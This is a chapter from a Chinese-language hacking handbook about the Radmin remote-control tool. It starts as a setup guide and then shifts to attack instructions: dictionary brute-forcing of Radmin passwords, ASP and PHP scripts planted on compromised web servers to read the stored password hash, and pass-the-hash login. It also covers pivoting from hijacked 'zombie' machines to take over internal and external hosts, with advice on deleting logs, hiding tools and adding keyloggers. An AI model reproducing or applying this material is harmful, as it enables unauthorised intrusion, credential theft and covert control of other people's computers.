1.16 Radmin远控网络攻防全攻略
Radmin是一款世界知名的远程控制软件,其完全控制、文件传输、Telnet命令等功能非常好用。在Radmin 3.0以前的版本中,杀毒软件都不对其进行查杀,后期,由于黑客和病毒大量使用R_server做为媒介,因此将R_server做为安全威胁处理。目前,一些以主动防御为主的杀毒软件及防火墙会主动将R_server列入黑名单。尽管如此,Radmin还是深受网络安全爱好者的喜爱。有关Radmin的研究,国内安全组织有很多文章和软件作品。例如,Radmin Hash连接器只要获取Radmin的密码Hash值,就可以直接进行连接,而不需知道其密码。
本节将从网络攻防的角度介绍Radmin软件。通过本节的学习,读者可以掌握很多有关Radmin攻击和防护的知识。
1.16.1 Radmin简介
“Radmin”是“Remote Administrator”的简称,其官方网站(http://www.radmin.com)的解释为“PC Remote Control Software and Remote Access Software”(PC远程控制和远程访问软件)。Radmin是一款屡获殊荣的远程控制软件,目前新版本为3.4,它将远程控制、外包服务组件及网络监控结合到一个系统里,提供目前为止最快速、最强健且最安全的工具包。
1.主要特点
(1)最高工作速度
Radmin是目前速度最快的远程控制软件,其Direct Screen Transfer™技术采用了视频挂钩内核模式驱动程序,将捕捉率提高到每秒数百次屏幕更新。通过其特别的低带宽优化功能,可以在使用拨号调制解调器和GPRS连接的情况下顺利地工作。
(2)最高安全级别
Radmin以加密模式工作,为所有连接到远程计算机的数据、屏幕图像、鼠标移动和键盘信号采用随机生成的密钥256位AES强加密,而且可以使用Windows Security或Radmin Security. Windows安全性支持对特定用户使用不同的权限,或者对主域、可信域和活动目录的用户组使用不同的权限,支持自动使用登录用户凭证和Kerberos验证。Radmin安全性支持对添加到Radmin Server访问列表中的用户使用不同的权限。Radmin用户验证使用新的基于Diffie-Hellman的密钥交换机制,密钥长度为2 048位。IP Filter仅允许从特定IP地址和网络访问Radmin Server。通过Radmin可以查看添加到日志文件的DNS名称和用户名信息。Radmin提供了智能防护密码猜测机制,5次密码登录错误后自动进行延迟。
(3)硬件支持英特尔 ® AMT新产品远程控制
Radmin 3.4支持英特尔 ® AMT(主动管理技术),它允许进行远程计算机控制(即使是关闭或无法启动操作系统)。可以使用Radmin浏览器打开、重新启动和关闭远程计算机。Radmin还能使用户可以查看和修改远程计算机的BIOS设置,并从本地CD或磁盘映像文件启动远程计算机。
(4)全面兼容Windows 7新功能
Radmin 3.4完全支持Windows 7 32位和64位操作系统,包括用户账户控制和快速用户切换。Radmin 3.4的服务端支持Windows 7/Vista/XP/2008/2003/2000(32位)和Windows 7/Vista/XP/2008/2003(64位)操作系统。Radmin 3.4的浏览器端支持Windows 7/Vista/XP/2008/2003/2000/ME/98/95/NT4.0(32位)和Windows 7/Vista/XP/2008/2003(64位)操作系统。
(5)操作简单,支持多连接
Radmin支持被控端以服务的方式运行,支持多个连接和IP地址过滤(即允许特定的IP地址控制远程机器)、个性化的文档互传、远程关机,支持高分辨率模式、基于Windows NT的安全支持和密码保护,以及提供日志文件等。Radmin目前支持TCP/IP协议,应用十分广泛。
2.软件组成
Radmin分为服务端(Radmin Server)和浏览器端(Radmin Viewer)两个部分,在早期版本中,这两个部分是集成在一起的,在Radmin 3.0以后就将其分开了。浏览器端即Radmin.exe,服务端即早期的R_server.exe。在后续版本中增加了一些功能,服务端的名称也进行了更改。服务端主程序由“R_server.exe”更名为“rserver3.exe”,其安装文件路径由“C:\Program Files\Radmin”变为“C:\ WINDOWS\system32\rserver30”,共有25个主要程序文件。
1.16.2 Radmin的基本操作
下面介绍Radmin的基本操作。
1.安装浏览器端和服务端
Radmin服务端和浏览器端的安装方法很简单,只要按照提示进行操作即可。目前该软件的语言以英文为主。
2.服务端详细设置
01 设置主窗口
依次单击“开始”→“程序”→“Radmin Server 3”→“Setting For Radmin Server”选项,进入Radmin Server设置窗口,如图1-157所示。Radmin Server的所有设置都是通过该窗口完成的。在Radmin 3.0以前的版本中,还可以通过命令行进行设置。
图1-157 Radmin Server设置主窗口
02 输入注册码
在设置主窗口中单击“Enter license”按钮,在弹出的“License Code”对话框中输入注册码,否则在30天试用期结束后,客户端将无法连接服务端,需要输入正确的注册码后才能使用,如图1-158所示。
图1-158 输入注册码
03 设置Radmin Server选项(Options)
在主窗口中单击“Options…”按钮,会打开一个选项设置窗口,如图1-159所示。在该窗口中,有“General”(普通)、“Miscellaneous”、“IP Filter”(IP地址过滤)、“Language”(语言)、“Chat Options”(聊天选项)和“Voice Chat Options”(语音聊天选项)六大功能。
图1-159 设置选项主窗口
(1)普通设置
在普通设置中,有“Port”(端口)、“Tray icon”(托盘图标)、“Incoming connection dialog”(连接对话框)和“Logging”(日志)四大选项。Radmin Server的默认端口为“4899”,如果需要更改该端口为自定义的未使用端口,可以取消勾选“Use default port”,同时在下面的输入框中输入自定义的端口号。
托盘图标主要用于设置是否在计算机上显示连接图标,默认为显示。该图标一般在任务栏右下角,双击该图标可以查看当前的连接,并显示“Incoming connections are accepted on port 4899”提示信息。在Radmin Server 2.x版本中,可以设置不显示该图标;在Radmin Server 3.x版本中,该图标有两种设置方式,分别是“Show in System Tray”和“Always Show”。
“Incoming connection dialog”选项主要用于设置用户访问许可,有两种方式供用户选择,一种是访问超时后自动拒绝访问,另一种是超时后自动允许访问,默认为第一种方式。在该选项中,可以设置Timeout的默认时间,默认为10秒。一般情况下,可以将该时间修改得长一些,如100秒。
“Logging”选项主要用于记录错误日志和访问日志。在日志下方,用户可以根据实际情况选择记录“All errors”、“No errors”、“Critical errors”、“Medium errors”和“Small errors”这5种错误之一。选中“Use Event Log”选项表示记录使用事件日志,选中“Use Logfiles”选项表示记录用户登录日志。在默认情况下,日志记录文件为C:\WINDOWS\system32\rserver30\Radm_log.htm,用户可以根据实际情况重新设定记录日志文件的位置及名称。日志设置完毕后,客户端连接或者服务端启动等信息都会详细记录在Radm_log.htm文件中。如图1-160所示,该文件就记录了Radmin Server的具体情况。
图1-160 日志详细记录
(2)“Miscellaneous”设置
“Miscellaneous”设置非常有用,如图1-161所示,需要禁用哪个功能,就选中该功能前的复选框即可。在“Disable connection mode”(禁用连接模式)设置区中有如下9个选项。
图1-161 Miscellaneous设置
• Disable Remote Screen Control:禁用远程屏幕控制功能,即禁用完全控制功能。
• Disable Remote Screen View:禁用远程屏幕浏览功能。
• Disable File Transfer:禁用文件传输功能。
• Disable Telnet:禁用Telnet功能。
• Disable Redirect:禁用重定向功能。该功能主要用于内网代理或者外网代理,即通过某一个Radmin服务端访问其他的Radmin服务端。
• Disable Shutdown:禁用关闭计算机功能。
• Disable Text Chat:禁用文本聊天功能。
• Disable Audio Chat:禁用语音聊天功能。
• Disable Send Message:禁用发送消息功能。
• Do not resolve IP addresses to hostname:不将IP地址解析为主机名。
(3)IP地址过滤设置
IP地址过滤,顾名思义,就是允许指定的IP地址或者IP地址范围访问。设置该功能后,从网络上能够看到4899端口开放,却无法通过Radmin客户端连接访问。如图1-162所示,在“IP Filter”设置中勾选“Enable IP Filter”复选框,接着单击“Add”按钮,添加允许的IP地址或者IP地址范围。对于已经添加的IP地址或者范围,如果不再使用或者不再允许访问,只要选中后单击“Remove”按钮将其移除即可。
图1-162 设置IP地址过滤
(4)语言设置
尽管Radmin官方声称支持多种语言,但实际测试中发现并非如此,也许是因为缺少相应的语言文件吧。语言设置很简单,需要使用哪种语言,就选择哪种语言。
(5)聊天选项设置
在Radmin 3.2及后续版本中加入了聊天功能,主要用于控制端与被控制端之间的交流。如图1-163所示,如果使用聊天功能,则可以设置服务端聊天显示的昵称,在“Nick name”文本框中输入昵称即可,默认昵称是“user”,在“User information”文本框中可以填写简单的用户介绍。在Radmin中,还可以对聊天界面的外观进行设置,如图1-164所示,可以设置聊天文字样式等。
图1-163 聊天设置
图1-164 设置聊天界面外观
在“Additional”(附加)选项中,可以设置是否显示自己的昵称,每一条消息发送的时间戳,对聊天发起方连接及断开的确认,是否允许使用特殊的命令,以及是否记录聊天日志等,如图1-165所示。
图1-165 聊天附加选项设置
(6)语音聊天设置
语音聊天设置与聊天设置类似,如图1-166所示,唯一不同的是需要设置声卡设备。
图1-166 语音聊天设置
04 安全许可设置
Radmin中的“Permissions”是最重要的设置之一。在Radmin主窗口单击“Permissions”选项,打开“Radmin Server Security Mode”对话框,如图1-167所示。该对话框提供了两种安全设置,一种是“Radmin Security”,另一种就是“Windows NT Security”。单击选中需要使用的安全设置,然后单击“Permissions”按钮,进入详细设置界面。
图1-167 选择安全许可模式
(1)“Radmin Security”安全模式
在“Radmin Security”安全模式中,需要添加用户。如图1-168所示,单击“Add User”按钮添加一个用户后,再进行详细设置。如果是完全访问,则勾选“All Access”复选框即可,否则应根据实际需要进行选择。一共有如下10种权限供用户选择。
图1-168 设置Radmin Security安全模式
• All Access:完全访问。
• Remote Screen Control:远程屏幕控制。
• Remote Screen View:远程屏幕浏览。
• Telnet:Telnet命令执行模式。
• File Transfer:文件传输。
• Redirect:重定向。
• Text Chat:聊天。
• Audio Chat:语音聊天。
• Send Message:发送消息。
• Shutdown:关闭计算机。
(2)“Windows NT Security”安全模式
选择“Windows NT Security”设置后,将按照Windows用户域模式进行安全管理。如图1-169所示,单击“添加”按钮,从Windows用户管理器中添加一个用户,然后在“Administrators的权限”设置区中进行设置。使用“Windows NT Security”安全模式时,可以结合Windows文件权限管理进行更加细致的设置,即可以授予用户特别的权限。
图1-169 Windows NT Security设置
1.16.3 Radmin的使用
打开“Radmin Viewer”窗口,如图1-170所示,该界面是Radmin客户端管理主界面,对Radmin服务端的所有操作都能在这个界面中完成。
图1-170 Radmin客户端管理主界面
“Radmin Viewer”窗口有一个英文菜单和工具栏,工具栏中各按钮的功能依次为连接一个地址、新建一个连接、删除连接地址、查看地址属性、屏幕完全控制、屏幕浏览、Telnet、文件传输、关闭计算机、聊天、语音聊天、发送消息、选择图标浏览方式、以文件夹方式浏览、查看在线计算机。在Radmin Viewer中是通过IP地址来进行管理的。
1.新建连接
在“Radmin Viewer”窗口依次单击“Connection”→“New Connection”选项,或者在工具栏中单击第二个图标,即可在Radmin客户端中打开新建连接窗口。如图1-171所示,在“IP address or DNS”文本框中输入IP地址或者DNS地址,“Name of entry”文本框中显示的是在“Radmin Viewer”窗口中显示的名称,如果是新建连接,不需要输入该名称,默认是IP地址的名称。在本例中,输入的IP地址为192.168.209.130,端口使用默认的4899。设置完成后,就会在Radmin客户端中以IP地址进行显示。
图1-171 新建一个连接
2.Telnet连接服务端
在Radmin客户端管理界面中,选中刚才新建的IP地址192.168.209.130,然后单击右键,在弹出的快捷菜单中选择“Telnet”选项。如果客户端和服务端可以连接,就会立刻出现一个登录窗口,如图1-172所示,要求输入用户名和密码,在此输入先前创建的用户和密码。在登录过程中会显示登录的一些信息,如图1-173所示。
图1-172 Radmin安全验证登录窗口
图1-173 登录连接信息
Radmin有两种安全验证方式,一种是Radmin的方式,另一种是Windows的方式。当登录验证通过后,就会出现我们熟悉的Telnet界面,如图1-174所示。该界面与DOS界面类似,可以执行各种DOS命令,还可以保存显示的内容到本地文件。
图1-174 使用Telnet
3.文件传输
文件传输,顾名思义,就是文件的上传与下载。Radmin文件传输的使用方式与Telnet方式类似,打开后的初始界面如图1-175所示,单击其中的盘符即可像资源管理器一样浏览文件,文件传输的目的地必须是具体的磁盘。通过“Radmin Viewer”窗口,可以在本机和服务端上创建、删除、修改文件。
图1-175 文件传输
4.远程屏幕监控
远程屏幕监控,换句话说就是完全控制服务端计算机。单击工具栏上的第五个图标,或者依次单击“Mode”→“Full Control”选项,即可使用远程屏幕监控。密码验证通过后,如图1-176所示。当使用屏幕控制后,在Radmin主窗口中即可对服务端(被控制计算机)进行各种操作,就像在本地操作计算机一样。
图1-176 远程屏幕监控
5.聊天与发送短消息
相对Radmin强大的控制功能来说,其聊天与发送短消息功能就像是赠品,方便管理员进行管理与交流。依次选择“Mode”→“Chat”选项,如图1-177所示,界面与QQ聊天界面类似。Radmin发送消息就是一个信使。选择需要发送的计算机IP地址,依次选择“Mode”→“Send Message”选项,即可发送短消息,如图1-178所示。当客户端发送后,服务端很快就能收到短消息。
图1-177 通过Radmin进行聊天
图1-178 发送和接受短消息
6.Intel AMT技术
在Radmin 3.2及后续版本提供了Intel AMT技术,声称可以实现冷启动、BIOS远程控制和网络启动。该功能的使用如图1-179所示,选择需要使用该技术的IP地址,并选择相应的功能即可。
图1-179 使用Intel AMT技术
总而言之,Radmin是一款不错的远程管理工具,功能强大,速度也比较快。通过上面的介绍,即使是一个菜鸟也可以很快明白应该如何操作Radmin。赶快动手在自己的虚拟机中搭建一个环境,玩玩“控制与被控制”的游戏吧。
1.16.4 Radmin口令暴力攻击
网上基本找不到有关Radmin口令暴力的工具,笔者在国外论坛查阅资料时偶然得到了一款有关该软件口令破解的工具。
1.Radmin破解文件分析
(1)文件组成
图1-180 Radmin破解程序密码字典
该暴力破解软件共有4个文件,分别是password.txt、radmin.exe、radmin.nfo、radmincracker.exe。password.txt为密码字典文件,该文件可以手动修改,每一个密码为单独一行,使用“记事本”程序打开后,如图1-180所示,其中包含5个密码,第一个密码为空,后面的密码依次是“radmin”、“password”、“letmein”和“admin”,该密码文件即Radmin服务端的连接密码。radmin.exe是服务端管理器,即客户端,通过radmin.exe可以连接Radmin服务端。radmin.nfo是用于查看系统信息的文件,具体功能笔者也不太清楚。radmincracker.exe是Radmin密码破解程序。
注意
在以上文件中,radmin.exe和password.txt的文件名不能更改,否则将导致程序无法运行。
(2)Radmin口令破解命令格式
使用UltraEdit软件直接编辑radmincracker.exe,使用二进制格式查看,radmincracker.exe的命令格式为“radmincracker.exe ip ip ip”,如图1-181所示。在DOS提示符下输入“radmincracker.exe”并运行,也会提示其命令格式。
图1-181 获取Radmin破解程序的具体运行命令
(3)测试环境的搭建
在虚拟机中建立两个Windows XP操作系统(A系统和B系统),在A系统中安装Radmin 2.2,在B系统中将Radmin口令破解软件放到“Tools”文件夹中。A系统的IP地址为192.168.209.130。
2.实际测试
(1)环境测试
在测试环境搭建成功后,还需要进行网络连通性测试,即使用ping命令对A系统进行网络测试。将sfind.exe复制到B系统中,使用“sfind-p 192.168.209.130”语句查看A系统中对外端口的开放情况,如果结果中未看到4899端口开放,可能有两个原因:一是被防火墙拦截;二是Radmin软件的安装设置存在问题。可以关闭Windows防火墙或者在防火墙例外列表中添加4899端口为允许端口,然后重启A系统或者在命令提示符下使用“net start r_server”命令启动Radmin服务端。同时,需要设置A系统中Radmin服务端的连接密码为“password”。
(2)口令破解测试
在DOS提示符下输入“radmincracker 192.168.209.130”,按下“回车”键开始破解,如图1-182所示。在DOS提示符下会给出IP地址和密码的列表,当找到匹配的密码后会给出结果,在本例中显示的结果为“192.168.209.130: password successfully opened”。破解成功后,破解程序会自动Telnet被破解的Radmin服务端,也就是说,Radmin客户端是通过Telnet方式连接的。
图1-182 口令破解测试
3.破解后续处理以及技巧
Radmincracker破解程序在破解Radmin密码成功后会自动在当前文件夹下生成一个TXT文件,文件以被破解的IP地址命名,如图1-183所示,在该文件中显示格式为“IP地址:密码”。
图1-183 破解结果文件
Radmin破解技巧
(1)radmincracker.exe破解程序在破解时占用系统资源较多,因此,在破解时密码字典不宜太大,每一次破解密码字典以小于100kb为佳。
(2)破解时最好在服务器上运行破解程序。
(3)在肉机上可以使用一些第三方程序将当前窗口隐藏,隔一段时间查看破解结果文件即可。
(4)破解IP地址不宜设置太多。当Radmin破解成功后会自动Telnet连接其服务端,连接过多会影响网络,需要在线进行处理。
总的来说,这款软件还是不错的,破解难度取决于密码字典的选取。感兴趣的读者可以到安天365论坛(http://www.antian365.com)下载该软件。
1.16.5 Radmin在渗透中的妙用
Radmin在渗透中的妙用主要在提权。在获得Radmin的Hash值后,无须破解Radmin的密码即可正常使用Radmin。
1.利用Radmin提权
很多Web服务器为了管理方便,都会安装一些远程控制软件进行系统和应用程序的维护。当我们通过SQL注入等方式获得WebShell后,一旦发现系统安装了Radmin软件,那么一个比较快捷的方法就是获取Radmin的Hash值和端口等信息,然后通过Radmin_hash客户端连接工具直接连接,从而达到提权的目地。
在Radmin 2.X中,其参数设置信息均保存在注册表“HKEY_LOCAL_MACHINE\SYSTEM\ RAdmin\v2.0\Server\Parameters”键值下,如图1-184所示。
图1-184 Radmin 2.X版本参数注册表中保存位置
“Parameter”是默认密码保存值,“Port”是默认端口保存值。而Radmin 3.X更改了加密方式,分为NT用户安全和Radmin安全模式,具体体现在键值上,示例如下。
• Radmin安全密码信息的保存位置:HKEY_LOCAL_MACHINE\SOFTWARE\Radmin\v3.0\ Server\Parameters\RadminSecurity \1。
• Radmin安全密码信息的保存位置:HKEY_LOCAL_MACHINE\SOFTWARE\Radmin\v3.0\ Server\Parameters\NtUsers。
在Radmin 3.X中,其密码信息保存在名称为“1”的键值中。由于“1”是数字,因此,目前还没有找到成功通过脚本读取该值的方法。下面介绍如何读取Radmin 2.X中的参数信息。
2.获取Radmin的有关信息
(1)通过radmin.asp获取
将以下代码保存为radmin.asp文件,并将其放在网站目录中。
<%
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
path="LogFilePath"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
Response.write "The Result of Radmin Hash"
Response.write "</br>"
Response.write ""
Response.write Parameter&":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0" & CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
response.write Lcase(strobj)
Response.write "</br>"
Else
response.write "Error! Can't Read!"
End If
Response.write ""
IF Port<>"" then
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
Response.write Port &":"
Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Response.write "<br>"
Else
Response.write "Error! Can't Read!"
End If
else
Response.write "Port is defualt 4899!"
end if
Rpath=WSH.REGREAD(RadminPath & path )
Response.write"日志文件存储地址位:"
Response.write Rpath
Response.write "<br>"
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function
%>
直接访问该文件,即可读取Radmin的有关信息,如图1-185所示,获取了如下信息。
图1-185 获取Radmin的有关信息
• radmin hash is:2ba5e187e2589be6f80da046aa7e3c:Radmin的密码专用Hash值。
• radmin port is:48999:Radmin的默认端口为4899,在本例中修改为48999。
• radmin log path is:c:\logfile.txt:Radmin日志文件的保存位置和文件名称,在访问后可以将其删除,以免留下痕迹。
(2)通过radmin.php获取
服务器可能会使用PHP脚本语言,那么使用radmin.asp文件就无法读取其相关信息了。这时要想读取Radmin的信息,只要将以下代码保存为radmin.php文件即可,方法与保存radmin.asp文件类似,效果如图1-186所示。
图1-186 通过radmin.php获取Radmin参数值
<?php
$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting
Host");
$rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "<br>";
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."<br>";
echo "radmin log path is:$path<br>";
echo "please clean the log"
?>
注意
(1)在使用radmin.asp或者radmin.php文件读取服务器中的Radmin参数信息时,有可能会由于权限问题而无法读取。
(2)radmin.asp和radmin.php文件只能用于读取Radmin服务端3.0以下版本,对于Radmin 3.0以上版本的读取无能为力。Radmin 3.X系列是对Radmin 2.X系列的完全升级,注册表、安装程序位置及名称都进行了调整,在同一个系统中,可以同时安装Radmin 2.X和Radmin 3.X。Radmin 3.X版本的有关参数在键值中的位置及名称等信息如图1-187所示。在Radmin 3.X中,其加密方式已经进行了变更,在Ntusers键值下的“1”中保存的值是80位,而在Radmin Security中其数值数据位数更多,达到1 170位,猜测其密码位数为1 024,而多余的位数则可能是用户名称等信息保存的位数。
图1-187 Radmin3.X参数在注册表中的位置
(3)如果初始安装Radmin未对参数进行设置,则读取的参数信息相对较少。
3.使用Radmin-hash连接工具
使用Radmin-hash工具相对就简单多了,将上面获取的Radmin 32位Hash值、IP地址和端口记下,打开Radmin-hash,新建一个IP地址连接,然后像使用正常的Radmin客户端管理器一样进行操作,如图1-188所示,输入获取的32位Hash值,密码验证通过后即可使用Telnet、屏幕监控及文件传输,如图1-189所示。
图1-188 使用Radmin-hash连接工具连接服务端
图1-189 通过Radmin-hash客户端管理服务端
1.16.6 利用Radmin口令进行内网渗透控制
Radmin作为一款强大的远程控制软件,深受管理员喜爱。但是,很多管理员都有一个习惯,就是将Radmin的口令设置为同一个口令。通过键盘记录及Radmin客户端可以很容易和方便地实施内网渗透。
1.查看肉机上的Radmin客户端
在Radmin客户端中,如果需要连接服务端,则必须要建立一个连接,也就是需要一个IP地址和端口号,否则就不能使用。当建立一个连接以后,就会在Radmin客户端中保留以该IP或者指定显示名称的记录。
依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项,打开Radmin客户端。如果用户曾经使用Radmin客户端管理Radmin服务端,则会在Radmin客户端中显示,如图1-190所示。
图1-190 Radmin客户端中的服务端计算机
2.通过Radmin客户端建立连接
在Radmin客户端中新建一个连接,其IP地址设置为图1-191中的地址,端口选择其相应的端口。例如,选择IP地址为“192.168.0.15”,根据肉机上的Radmin客户端的记录,该地址对应的端口(Port)为“5003”,然后选中“Connect through host”复选框,选择该肉机的Radmin地址。该IP地址(肉机的IP地址)将作为内外网连接的桥梁,如果内网的计算机安装了Radmin服务端,只要拥有该内网计算机的Radmin控制口令,即可实施全面控制。
图1-191 通过肉机端的Radmin地址连接内网
3.尝试建立连接
按照以上步骤,依次为肉机Radmin客户端中的内网Radmin服务端计算机创建连接,然后依次选择内网计算机进行连接尝试。在本例中,选择IP地址为“192.168.0.11”的计算机,在Radmin客户端中选择“屏幕查看”选项,双击进行连接。输入肉机的Radmin控制口令尝试连接,如果内网计算机安装了Radmin服务端,则需要输入密码2次,一次为肉机的Radmin的口令,一次是内网计算机的Radmin口令,输入正确的口令后,才可以执行相应的操作。在本例中,可以看到该内网计算机为监控计算机,如图1-192所示。
图1-192 连接内网计算机
4.通过Telnet查看IP地址
在本例中,肉机有外网IP地址,也有内网IP地址,其内网IP地址为192.168.0.105,当通过肉机连接内网的计算机时,在内网计算机上显示的网络连接为内网的IP地址。“192.168.0.102”为内网中的一台计算机,该计算机上的Radmin服务端开放的端口为5000,在本地Radmin客户端选择“Telnet”选项,然后双击“192.168.0.102”选项,输入密码,进入Telnet管理界面,输入“netstat-an”命令查看网络连接,如图1-193所示,该网络连接中显示的Radmin连接为内网连接。
图1-193 查看网络连接
5.再次实施内网渗透攻击
通过上面的步骤和获取的信息,我们成功测试了2台内网计算机。在该内网计算机上安装ARP挂马软件或者Sniffer软件,可以获取系统中的一些密码。另外,直接通过IE及邮件密码获取软件可以很方便地获取其相应的密码,以便再次进行攻击。
6.小结
本案例通过查看已经控制的肉机的Radmin客户端,对其内网的Radmin服务端进行口令尝试攻击,使用肉机的Radmin口令登录内网计算机上的Radmin服务端,一旦口令正确,则可以完全控制该内网计算机。该方法简单、有效。
1.16.7 利用Radmin口令进行外网渗透控制
利用Radmin口令除了可以进行内网渗透,还可以进行外网渗透,其原理与内网渗透类似,下面通过实际操作进行讲解。
1.查看肉机上的Radmin客户端
依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项,打开Radmin客户端,在其中可以看到一个“187”标签。选择“187”标签,可以在Radmin客户端界面底部看到其对应的IP地址为“*.*.*182”,端口号为“2100”,控制模式为“Full Control”。
2.通过Radmin客户端建立连接并查看远端屏幕
在本地Radmin客户端中新建一个连接,其IP地址设置为“*.*.*182”,端口为2100。在Radmin客户端中选择“屏幕监视”选项,输入得到的密码进行尝试,密码验证成功后,即可进入屏幕监视状态,查看远端计算机的屏幕了。
3.查看IP地址
在本地Radmin客户端中选中刚才的IP地址,选择“Telnet”选项,进入Telnet操作模式,输入“IPconfig/all”命令查看该计算机的网络配置情况,该计算机的IP地址为独立外网IP地址。
技巧
在Radmin客户端连接状态下,如果是Radmin 3.0及其以上版本,可以直接通过工具条上的小图标进行功能的切换,不需要每次输入Radmin控制密码。
4.通过Telnet查看外网情况
在本例中,该计算机的IP地址为外网IP地址,可以通过“net view”命令查看附近网络的情况。如图1-194所示,该网络附近还有许多计算机。
图1-194 查看外网情况
5.再次实施外网渗透攻击
再次利用前面的步骤和获取的信息,依次查看网络中开放2100端口的计算机,用已经获取的Radmin口令测试该网络中的外网计算机,成功控制了3台计算机,其中一台为服务器,且疑似为交易服务器,如图1-195所示。
图1-195 再次实施内网渗透攻击
6.小结
本例通过查看已经控制的肉机的Radmin客户端,获取其管理员管理其他计算机时所用的Radmin服务端IP地址和端口,并通过获取的Radmin口令对管理员管理的Radmin服务端进行口令尝试攻击,口令正确率在50%左右(即使不正确,还可以通过键盘记录等手段嗅探或者记录管理员在计算机上的操作,从而获取更多的口令和控制更多的外网计算机)。本例是1.16.6节案例的延续,方法简单,获取的肉机质量较高。
技巧
在写作本例时,偶然看见以前的一幅截图,里面有18台计算机,均是通过Radmin进行管理的,如图1-196所示。如果在该计算机上安装键盘记录或者Cain等嗅探软件,可以很容易地获取Radmin等软件的账号和密码。管理员一旦形成一种习惯,就会坚持这种习惯,因此,在网络攻防中对细节的收集和利用往往会有一些意想不到的收获!
图1-196 通过Radmin管理网络
1.17 巧用Telnet做后门和跳板
Telnet是传输控制协议/因特网协议(TCP/IP)网络(例如Internet)的登录和仿真程序。它最初是由ARPANET开发的,现在主要用于Internet会话。它的基本功能是允许用户登录进入远程主机系统。Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算)。Telnet一方面可以用来管理计算机,另一方面也经常被入侵者用作后门或者跳板。
分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记账方便,系统要求每个用户有单独的账号作为登录标识,并为每个用户指定了一个口令。用户在使用该系统之前,要输入标识和口令,这个过程称为“登录”。远程登录是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
使用Telnet协议进行远程登录时,需要满足以下条件:在本地计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的IP地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程。
01 本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的IP地址或域名。
02 将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报。
03 将远程主机输出的NVT格式的数据转换为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果。
04 本地终端对远程主机进行撤销连接操作。该过程将撤销一个TCP连接。
Windows 2000及后续的Windows版本都自带Telnet客户机和服务器程序,telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(Server),同时,提供Telnet服务器管理程序tlntadmn.exe。Windows 2000默认安装了Telnet服务,但是并没有启动该服务。下面就介绍如何操作Telnet服务及修改注册表的值,以及如何在远程服务器上留后门和做跳板。
1.17.1 设置并启动Telnet服务
在DOS提示符下运行“services.msc”命令,打开服务管理器,找到“Telnet”服务后双击打开,如图1-197所示。单击“启动”按钮启动“Telnet”服务,并更改该服务的启动类型为“自动”。
图1-197 设置Telnet服务
1.17.2 使用Telnet客户端登录远程服务器
在DOS提示符下使用“telnet 218.*.*.*”命令登录远程Telnet服务器,由于在服务器端没有修改注册表中的NTLM值,因此会出现登录失败的提示,如图1-198所示。
图1-198 登录远程Telnet服务器
说明
(1)NTLM身份验证选项,默认值是2。为“0”表示不使用NTLM身份验证;为“1”表示先尝试NTLM身份验证,如果失败,再使用用户名和密码;为“2”表示只使用NTLM身份验证。
(2)Telnet服务器侦听Telnet请求的端口默认是“23”,可以通过Telnet服务器管理程序更改默认端口为其他端口。
(3)早期的SMB协议在网络上明文传输口令。后来出现了LAN Manager Challenge/Response(LM)验证机制,它十分简单,以至于很容易被破解。微软随后提出了Windows NT挑战/响应验证机制,即NTLM。现在已经出现了更新的NTLMv2及Kerberos验证体系。在Telnet中,Windows默认采用NTLM认证。
(4)NTLM的工作流程为:客户端首先在本地加密当前用户的密码成为密码散列,然后客户端向服务器明文发送自己的账号,服务器产生一个16位的随机数字,并将其作为challenge(挑战)发送给客户端;客户端用加密后的密码散列加密这个challenge,然后将结果作为response(响应)返回服务器;服务器把用户名、给客户端的challenge、客户端返回的response发送给域控制器;域控制器用这个用户名在SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列加密challenge;域控制器比较两次加密的challenge,如果结果相同,那么认证成功。
1.17.3 使用Telnet服务器管理程序更改设置
